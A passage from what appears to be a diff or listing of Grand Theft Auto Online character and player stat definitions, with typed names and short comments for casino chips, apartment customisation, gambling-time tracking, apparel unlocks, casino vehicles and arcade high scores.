Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT107 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT108 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT109 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT110 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT111 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT112 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT113 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT114 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT115 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT116 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT117 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT118 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT119 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT120 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT121 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT122 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT123 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT124 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT125 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT126 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT127 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT128 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT129 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT130 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT131 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT132 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT133 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT134 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT135 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT136 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT137 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT138 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT139 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT140 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT141 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT142 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT143 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT144 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT145 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT146 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT147 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT148 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT149 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT150 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT151 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT152 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT153 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT154 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT155 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT156 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT157 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT158 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + +(packed)CASINOPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)CASINOPSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)CASINOPSTAT_BOOL2 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)CASINOPSTAT_BOOL3 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)CASINOPSTAT_BOOL4 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)CASINOPSTAT_BOOL5 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)CASINOPSTAT_BOOL6 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + +(int)MPPLY_RCTTBESTTIME // RC Time Trials +(int)MPPLY_RCTTCOMPLETEDWEEK // RC Time Trials +(bool)MPPLY_RCTTDONESTATINIT // RC Time Trials + + +(int)CASINO_CHIPS // Add MP0_ or MP1_ // Casino chips the player owns 1 chip = 1 GTA $ +(int)MPPLY_CASINO_CHIPS_PUR_GD // Casino chips the player has purchased from the house shop this past gameday +(int)MPPLY_CASINO_CHIPS_PURTIM // Time of purchase for casino chips from the house +(int)MPPLY_CASINO_CHIPS_WON_GD // Casino chips the player has won by betting this past gameday +(int)MPPLY_CASINO_CHIPS_WONTIM // Time of winning a bet against the house + +(int)CASINOAPT_OWNED // Add MP0_ or MP1_ // Casino - Casino apartment owned +(int)CASINOAPT_MOD_INTERIORA // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_INTERIORB // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_C // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_D // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_E // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_F // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_G // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_H // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_I // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_J // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)CASINOAPT_MOD_K // Add MP0_ or MP1_ // Casino - Casino apartment customisation +(int)KINGOFHILLWINS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Record of most King Of The Hill wins in one arm wrestling sesson +(int)KINGOFHILLLOSS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Record of most King Of The Hill losses in one arm wrestling sesson +(int)COLLECTACTIONFIGHELPCOUNT // Add MP0_ or MP1_ // times displayed action figure help +(int)CASINO_NOTIFICATIONS // Add MP0_ or MP1_ // Casino notifications count +(int)SHOPFM_HAIRDO_CASINO_APT // Add MP0_ or MP1_ // Shop stat for Casino Apt Hairdo Shop +(int)COLLECTACTIONCARDHELPCONT // Add MP0_ or MP1_ // times displayed playing help + + + + + + + + + + + + +(bool)HAS_TAKEN_PEYOTE_BEFORE // Add MP0_ or MP1_ // Has the player taken peyote before + +(int)SHOPFM_CLOTHES_CASINO // Add MP0_ or MP1_ // Shop stat for casino clothes shop +(int)LUXSUITETABLESETTING // Add MP0_ or MP1_ // Setting for PI menu Lux Suite dealer table +(int)MPPLY_CASINO_MEM_BONUS // Count of time we have awarded the player bonus chips for purchasing the membership + +(int)DISCOUNT_PLANE_SITE // Add MP0_ or MP1_ // Posix time for Lucky 7 vehicle purchase discount +(int)DISCOUNT_BOAT_SITE // Add MP0_ or MP1_ // Posix time for Lucky 7 vehicle purchase discount +(int)DISCOUNT_CAR_SITE // Add MP0_ or MP1_ // Posix time for Lucky 7 vehicle purchase discount +(int)DISCOUNT_CAR_SITE2 // Add MP0_ or MP1_ // Posix time for Lucky 7 vehicle purchase discount +(int)DISCOUNT_MIL_SITE // Add MP0_ or MP1_ // Posix time for Lucky 7 vehicle purchase discount +(int)DISCOUNT_BIKE_SITE // Add MP0_ or MP1_ // Posix time for Lucky 7 vehicle purchase discount + +(int)INSIDETRACK_BET_HORSEID // Add MP0_ or MP1_ // Inside Track Bet - horseID +(int)INSIDETRACK_BET_CHIPS // Add MP0_ or MP1_ // Inside Track Bet - chips +(int)INSIDETRACK_BET_RESULT // Add MP0_ or MP1_ // Inside Track Bet - result +(int)INSIDETRACK_BET_FINISHTIME // Add MP0_ or MP1_ // Inside Track Bet - finish time +(int)INSIDETRACK_BET_GAMESEED // Add MP0_ or MP1_ // Inside Track Bet - game seed +(int)VCM_FLOW_PROGRESS // Add MP0_ or MP1_ // i.e. flow process +(int)CASINO_MISSION_CDTIMER // Add MP0_ or MP1_ // HEIST COOLDOWN TIMERS + +(int)CASINO_APT_DECORATION_1 // Add MP0_ or MP1_ // store casino decoration items1 +(int)CASINO_APT_DECORATION_2 // Add MP0_ or MP1_ // store casino decoration items2 +(int)CASINO_APT_DECORATION_3 // Add MP0_ or MP1_ // store casino decoration items3 +(int)CASINO_APT_DECORATION_4 // Add MP0_ or MP1_ // store casino decoration items4 +(int)CASINO_APT_DECORATION_5 // Add MP0_ or MP1_ // store casino decoration items5 +(int)CASINO_APT_DECORATION_6 // Add MP0_ or MP1_ // store casino decoration items6 +(int)CASINO_APT_DECORATION_7 // Add MP0_ or MP1_ // store casino decoration items7 +(int)CASINO_APT_DECORATION_8 // Add MP0_ or MP1_ // store casino decoration items8 +(int)CASINO_APT_DECORATION_9 // Add MP0_ or MP1_ // store casino decoration items9 +(int)CASINO_APT_DECORATION_10 // Add MP0_ or MP1_ // store casino decoration items10 +(int)CASINO_APT_DECORATION_11 // Add MP0_ or MP1_ // store casino decoration items11 +(int)CASINO_APT_DECORATION_12 // Add MP0_ or MP1_ // store casino decoration items12 +(int)CASINO_APT_DECORATION_13 // Add MP0_ or MP1_ // store casino decoration items13 + +(int)VCM_STORY_PROGRESS // Add MP0_ or MP1_ // i.e. flow process + +(int)MPPLY_CAS_TIME_GMBLNG_0 // Casino time spent gambling stat 0 +(int)MPPLY_CAS_TIME_GMBLNG_1 // Casino time spent gambling stat 1 +(int)MPPLY_CAS_TIME_GMBLNG_2 // Casino time spent gambling stat 2 +(int)MPPLY_CAS_TIME_GMBLNG_3 // Casino time spent gambling stat 3 +(int)MPPLY_CAS_TIME_GMBLNG_4 // Casino time spent gambling stat 4 +(int)MPPLY_CAS_TIME_GMBLNG_5 // Casino time spent gambling stat 5 +(int)MPPLY_CAS_TIME_GMBLNG_6 // Casino time spent gambling stat 6 +(int)MPPLY_CAS_TIME_GMBLNG_7 // Casino time spent gambling stat 7 +(int)MPPLY_CAS_TIME_GMBLNG_8 // Casino time spent gambling stat 8 +(int)MPPLY_CAS_TIME_GMBLNG_9 // Casino time spent gambling stat 9 + +(int)MPPLY_CAS_TIME_PLYING_0 // Casino time spent playing GTAO stat 0 +(int)MPPLY_CAS_TIME_PLYING_1 // Casino time spent playing GTAO stat 1 +(int)MPPLY_CAS_TIME_PLYING_2 // Casino time spent playing GTAO stat 2 +(int)MPPLY_CAS_TIME_PLYING_3 // Casino time spent playing GTAO stat 3 +(int)MPPLY_CAS_TIME_PLYING_4 // Casino time spent playing GTAO stat 4 +(int)MPPLY_CAS_TIME_PLYING_5 // Casino time spent playing GTAO stat 5 +(int)MPPLY_CAS_TIME_PLYING_6 // Casino time spent playing GTAO stat 6 +(int)MPPLY_CAS_TIME_PLYING_7 // Casino time spent playing GTAO stat 7 +(int)MPPLY_CAS_TIME_PLYING_8 // Casino time spent playing GTAO stat 8 +(int)MPPLY_CAS_TIME_PLYING_9 // Casino time spent playing GTAO stat 9 + +(int)MPPLY_CASINO_BAN_TIME // Casino posix time the player was banned from gambling +(int)MPPLY_CASINO_GMBLNG_GD // The POSIX time for the day on which the player gambling tracking started +(int)MPPLY_CAS_CUR_GMBLNG_GD // The current gameday for which we are tracking gambling play time +(int)MPPLY_CAS_CUR_GMBLNG_PX // The POSIX time for the time at which gambling stats were last updated + +(int)MPPLY_CAS_GMBLNG_L24_PX // The POSIX time for the time at which we started tracking the last 24 hours of gambling time +(int)MPPLY_CAS_GMBLNG_L24 // Casino time spent gambling in the last 24 hours stat +(int)MPPLY_CAS_GMBLNG_TRHSLD // Counter for the number of times we've gambled for at least 10 hours in a 24 hour period +(int)MPPLY_CAS_GMBLNG_L24_1 // Casino time spent gambling in the last 24 hours stat - Moving track +(int)MPPLY_CAS_GMBLNG_L24_2 // Casino time spent gambling in the last 24 hours stat - Moving track +(int)MPPLY_CAS_GMBLNG_L24_3 // Casino time spent gambling in the last 24 hours stat - Moving track +(int)MPPLY_CAS_GMBLNG_L24_4 // Casino time spent gambling in the last 24 hours stat - Moving track +(int)MPPLY_CAS_GMBLNG_L24_5 // Casino time spent gambling in the last 24 hours stat - Moving track +(int)MPPLY_CAS_GMBLNG_L24_6 // Casino time spent gambling in the last 24 hours stat - Moving track +(int)MPPLY_CAS_GMBLNG_L24_7 // Casino time spent gambling in the last 24 hours stat - Moving track +(int)MPPLY_CAS_GMBLNG_L24_8 // Casino time spent gambling in the last 24 hours stat - Moving track +(int)MPPLY_CAS_CUR_GMBLNG_HR // The current hour for which we are tracking gambling play time - 24hr track + +(int)ACTION_FIG_COLLECTED // Add MP0_ or MP1_ // Collectables +(int)PLAYING_CARD_COLLECTED // Add MP0_ or MP1_ // Collectables +(int)PEYOTE_COLLECTED // Add MP0_ or MP1_ // Collectables + +(bool)CAS_VEHICLE_REWARD // Add MP0_ or MP1_ // Vehicle reward done + +(int)MPPLY_CAS_24H_GMBLNG_PX // The POSIX time for the time at which 24hr gambling tracking stats were last updated + + +(int)DLC_APPAREL_ACQUIRED_176 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_177 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_178 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_179 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_180 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_181 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_182 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_183 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_184 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_185 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_186 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_187 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_188 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_189 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_190 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_191 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_192 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_193 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_194 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_195 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_196 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_197 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_198 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_199 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_200 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_176 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_177 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_178 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_179 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_180 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_181 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_182 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_183 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_184 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_185 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_186 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_187 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_188 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_189 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_190 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_191 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_192 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_193 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_194 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_195 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_196 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_197 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_198 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_199 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_200 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)LUCKY_WHEEL_USAGE // Add MP0_ or MP1_ // Character stat posix time for Lucky Wheel usage +(int)LW_PODIUM_VEH_WON // Add MP0_ or MP1_ // Character stat posix time for Lucky Wheel podium vehicle +(int)MPPLY_LW_PODIUM_VEH_MODEL // player stat or Lucky Wheel podium vehicle model +(int)MPPLY_LUCKY_WHEEL_USAGE // player stat posix time for Lucky Wheel usage +(int)MPPLY_LW_PODIUM_VEH_WON // player stat posix time for Lucky Wheel podium vehicle +(bool)DISPLAY_VC_VEH_HELP // Add MP0_ or MP1_ // Casino Vehicles +(int)CASINO_CLOTHES_TIME // Add MP0_ or MP1_ // Posix time for casino clothes shop time + +(bool)HELPKRIEGER // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPLOCUST // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPNOVAK // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPZORRUSSO // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPGAUNTLET3 // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPZION3 // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPNEBULA // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPHELLION // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPRROCKET // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPPEYOTE2 // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPGAUNTLET4 // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPJUGULAR // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPS80 // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPEMERUS // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPNEO // Add MP0_ or MP1_ // Casino Vehicles +(bool)HELPDYNASTY // Add MP0_ or MP1_ // Casino Vehicles + +(int)SCGW_NUM_WINS_GANG_0 // Add MP0_ or MP1_ // Arcade Stats +(int)SCGW_NUM_WINS_GANG_1 // Add MP0_ or MP1_ // Arcade Stats +(int)SCGW_NUM_WINS_GANG_2 // Add MP0_ or MP1_ // Arcade Stats +(int)SCGW_NUM_WINS_GANG_3 // Add MP0_ or MP1_ // Arcade Stats +(int)IAP_MAX_MOON_DIST // Add MP0_ or MP1_ // Arcade Stats +(bool)SCGW_WON_NO_DEATHS // Add MP0_ or MP1_ // Arcade Stats +(bool)IAP_CHALLENGE_0 // Add MP0_ or MP1_ // Arcade Stats +(bool)IAP_CHALLENGE_1 // Add MP0_ or MP1_ // Arcade Stats +(bool)IAP_CHALLENGE_2 // Add MP0_ or MP1_ // Arcade Stats +(bool)IAP_CHALLENGE_3 // Add MP0_ or MP1_ // Arcade Stats +(bool)IAP_CHALLENGE_4 // Add MP0_ or MP1_ // Arcade Stats +(bool)IAP_GOLD_TANK // Add MP0_ or MP1_ // Arcade Stats +(bool)VCM_FLOW_CS_RSC_SEEN // Add MP0_ or MP1_ // Intro Cutscenes +(bool)VCM_FLOW_CS_BWL_SEEN // Add MP0_ or MP1_ // Intro Cutscenes +(bool)VCM_FLOW_CS_MTG_SEEN // Add MP0_ or MP1_ // Intro Cutscenes +(bool)VCM_FLOW_CS_OIL_SEEN // Add MP0_ or MP1_ // Intro Cutscenes +(bool)VCM_FLOW_CS_DEF_SEEN // Add MP0_ or MP1_ // Intro Cutscenes +(bool)VCM_FLOW_CS_FIN_SEEN // Add MP0_ or MP1_ // Intro Cutscenes +(int)LAST_ANIMAL // Add MP0_ or MP1_ // last animal + +(int)IAP_INITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_INITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_INITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_INITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_INITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_INITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_INITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_INITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_INITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_INITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)IAP_SCORE_9 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_INITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)SCGW_SCORE_9 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_INITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_SCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_SCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_SCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_SCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_SCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_SCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_SCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_SCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)DG_DEFENDER_SCORE_8 // Add MP0_ or MP1_ // 